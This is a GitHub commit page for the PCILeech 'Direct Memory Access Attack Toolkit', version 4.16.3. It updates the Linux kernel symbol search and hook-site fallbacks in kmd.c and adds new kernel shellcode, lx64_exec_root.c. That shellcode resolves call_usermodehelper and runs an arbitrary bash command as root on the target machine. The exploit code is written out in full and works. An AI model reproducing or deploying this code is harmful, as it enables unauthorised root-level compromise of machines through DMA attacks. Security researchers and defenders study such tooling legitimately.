Skip to content

Commit

Permalink
Version 4.16.3
Browse files Browse the repository at this point in the history
  • Loading branch information
ufrisk committed Sep 6, 2023
1 parent 640abac commit ef6c298
Show file tree
Hide file tree
Showing 5 changed files with 62 additions and 13 deletions.
Binary file added files/lx64_exec_root.ksh
Binary file not shown.
26 changes: 16 additions & 10 deletions pcileech/kmd.c
Original file line number Diff line number Diff line change
Expand Up @@ -423,7 +423,7 @@ QWORD KMD_Linux48KernelBaseSeek()
{
PPAGE_STATISTICS pPageStat = NULL;
BYTE pb[0x1000], pbCMPcc[0x400], pbCMP90[0x400], pbCMP00[0x100];
QWORD qwA, qwAddrMax, i;
QWORD qwA, qwAddrMax, i, paKernelBaseLowQuality = 0;
BOOL isAuthenticAMD, isGenuineIntel, isOK;
memset(pbCMPcc, 0xcc, 0x400);
memset(pbCMP90, 0x90, 0x400);
Expand All @@ -450,6 +450,8 @@ QWORD KMD_Linux48KernelBaseSeek()
if(!isGenuineIntel || !isAuthenticAMD) {
continue;
}
// This is a low-quality candidate, save in case we don't find a better one.
paKernelBaseLowQuality = qwA;
// Verify that page ends with 0x400 NOPs (0x90) or 0x400 0xCC.
if(!LcRead(ctxMain->hLC, qwA, 0x1000, pb) || (memcmp(pb + 0xc00, pbCMP90, 0x400) && memcmp(pb + 0xc00, pbCMPcc, 0x400))) {
continue;
Expand All @@ -465,10 +467,10 @@ QWORD KMD_Linux48KernelBaseSeek()
}
}
PageStatClose(&pPageStat);
return 0;
return paKernelBaseLowQuality;
}

#define KMD_LINUX48SEEK_MAX_BYTES 0x02000000 // 32MB
#define KMD_LINUX48SEEK_MAX_BYTES 0x03000000 // 48MB
VOID KMD_Linux48KernelSeekSignature_KallsymsFromKDBGetSym(_In_reads_(KMD_LINUX48SEEK_MAX_BYTES) PBYTE pb, _In_ PKERNELSEEKER pKDBGetSym, _Inout_ PKERNELSEEKER pKallsyms)
{
DWORD o, aRel;
Expand All @@ -495,10 +497,11 @@ BOOL KMD_Linux48KernelSeekSignature(_Out_ PSIGNATURE pSignature)
PBYTE pb = NULL;
QWORD paKernelBase;
PPAGE_STATISTICS pPageStat = NULL;
KERNELSEEKER ks[3] = {
{ .pbSeek = (PBYTE)"\0kallsyms_lookup_name",.cbSeek = 22 },
{ .pbSeek = (PBYTE)"\0vfs_read",.cbSeek = 10 },
{ .pbSeek = (PBYTE)"\0kdbgetsymval",.cbSeek = 14 }
KERNELSEEKER ks[4] = {
{ .pbSeek = (PBYTE)"\0kallsyms_lookup_name",.cbSeek = 22 }, // kallsyms_lookup_name
{ .pbSeek = (PBYTE)"\0vfs_read",.cbSeek = 10 }, // primary hook site
{ .pbSeek = (PBYTE)"\0kdbgetsymval",.cbSeek = 14 }, // fallback kallsyms_lookup_name
{ .pbSeek = (PBYTE)"\0vfs_getattr_nosec",.cbSeek = 19 }, // fallback hook site
};
if(!(pb = LocalAlloc(0, KMD_LINUX48SEEK_MAX_BYTES))) { goto fail; }
paKernelBase = KMD_Linux48KernelBaseSeek();
Expand All @@ -507,12 +510,15 @@ BOOL KMD_Linux48KernelSeekSignature(_Out_ PSIGNATURE pSignature)
if(!PageStatInitialize(&pPageStat, paKernelBase, paKernelBase + KMD_LINUX48SEEK_MAX_BYTES, "Verifying Linux kernel base", FALSE, FALSE)) { goto fail; }
PageStatUpdate(pPageStat, paKernelBase, 0, 0);
DeviceReadDMA(paKernelBase, KMD_LINUX48SEEK_MAX_BYTES, pb, pPageStat);
KMD_LinuxFindFunctionAddr(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 3);
KMD_LinuxFindFunctionAddrTBL_Absolute(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 3);
KMD_LinuxFindFunctionAddrTBL_Relative(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 3);
KMD_LinuxFindFunctionAddr(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4);
KMD_LinuxFindFunctionAddrTBL_Absolute(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4);
KMD_LinuxFindFunctionAddrTBL_Relative(pb, KMD_LINUX48SEEK_MAX_BYTES, ks, 4);
if(!ks[0].vaFn && ks[2].vaFn) { // kdbgetsymval exists; but not kallsyms_lookup_name not located
KMD_Linux48KernelSeekSignature_KallsymsFromKDBGetSym(pb, &ks[2], &ks[0]);
}
if(!ks[1].vaFn && ks[3].vaFn) {
memcpy(&ks[1], &ks[3], sizeof(KERNELSEEKER));
}
if(ks[0].vaFn && ks[1].vaFn) {
Util_CreateSignatureLinuxGeneric(paKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].aSeek, ks[1].vaSeek, ks[1].vaFn, pSignature);
result = TRUE;
Expand Down
4 changes: 2 additions & 2 deletions pcileech/version.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,8 @@

#define VERSION_MAJOR 4
#define VERSION_MINOR 16
#define VERSION_REVISION 2
#define VERSION_BUILD 39
#define VERSION_REVISION 3
#define VERSION_BUILD 40

#define VER_FILE_DESCRIPTION_STR "The PCILeech Direct Memory Access Attack Toolkit"
#define VER_FILE_VERSION VERSION_MAJOR, VERSION_MINOR, VERSION_REVISION, VERSION_BUILD
Expand Down
42 changes: 42 additions & 0 deletions pcileech_shellcode/lx64_exec_root.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
// lx64_exec_root.c : execute user-mode command from kernel
//
// compile with:
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_exec_root.c
// ml64 lx64_common_a.asm /Felx64_exec_root.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_exec_root.obj lx64_common.obj
// shellcode64.exe -o lx64_exec_root.exe "EXECUTE A COMMAND AS ROOT \nLINUX X64 EDITION \n===============================================================\nExecute a program as root. \nREQUIRED OPTIONS: \n -s : command to execute including parameters \n Example: '-s touch /tmp/testfile.txt' \n===== EXECUTION ATTEMPT DETAILED RESULT INFORMATION ===========\nEXECUTE AS ROOT RESULT: %s\nRESULT CODE : 0x%08X\n==============================================================="
//

#include "lx64_common.h"

typedef struct tdFN2 {
QWORD call_usermodehelper;
} FN2, *PFN2;


BOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {
QWORD NAMES[1];
CHAR str_call_usermodehelper[] = { 'c', 'a', 'l', 'l', '_', 'u', 's', 'e', 'r', 'm', 'o', 'd', 'e', 'h', 'e', 'l', 'p', 'e', 'r', 0 };
NAMES[0] = (QWORD)str_call_usermodehelper;
return LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, sizeof(NAMES) / sizeof(QWORD));
}

VOID c_EntryPoint(PKMDDATA pk)
{
FN2 fn2;
CHAR str_cmd[] = { '/', 'b', 'i', 'n', '/', 'b', 'a', 's', 'h', 0 };
CHAR str_arg1[] = { '-', 'c', 0 };
char* argv[4] = { str_cmd, str_arg1, pk->dataInStr, NULL };

CHAR e0[] = { 'H', 'O', 'M', 'E', '=', '/', 0 };
CHAR e1[] = { 'T', 'E', 'R', 'M', '=', 'l', 'i', 'n', 'u', 'x', 0 };
CHAR e2[] = { 'P', 'A', 'T', 'H', '=', '/', 'b', 'i', 'n', ':', '/', 's', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 'b', 'i', 'n', ':', '/', 'u', 's', 'r', '/', 's', 'b', 'i', 'n', 0 };
char* envp[4] = { e0, e1, e2, NULL };

if (!LookupFunctions2(pk, &fn2)) {
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
return;
}

pk->dataOut[0] = SysVCall(fn2.call_usermodehelper, argv[0], argv, envp, 2);
}
3 changes: 2 additions & 1 deletion readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -289,4 +289,5 @@ v4.1

Latest:
* I/O BAR support.
* Linux KMD signature update (LINUX_X64_48) to support kernel 5.15.
* Linux KMD signature update (LINUX_X64_48) to support latest Ubuntu kernels.
* New linux kernel module: lx64_exec_root.

0 comments on commit ef6c298

Please sign in to comment.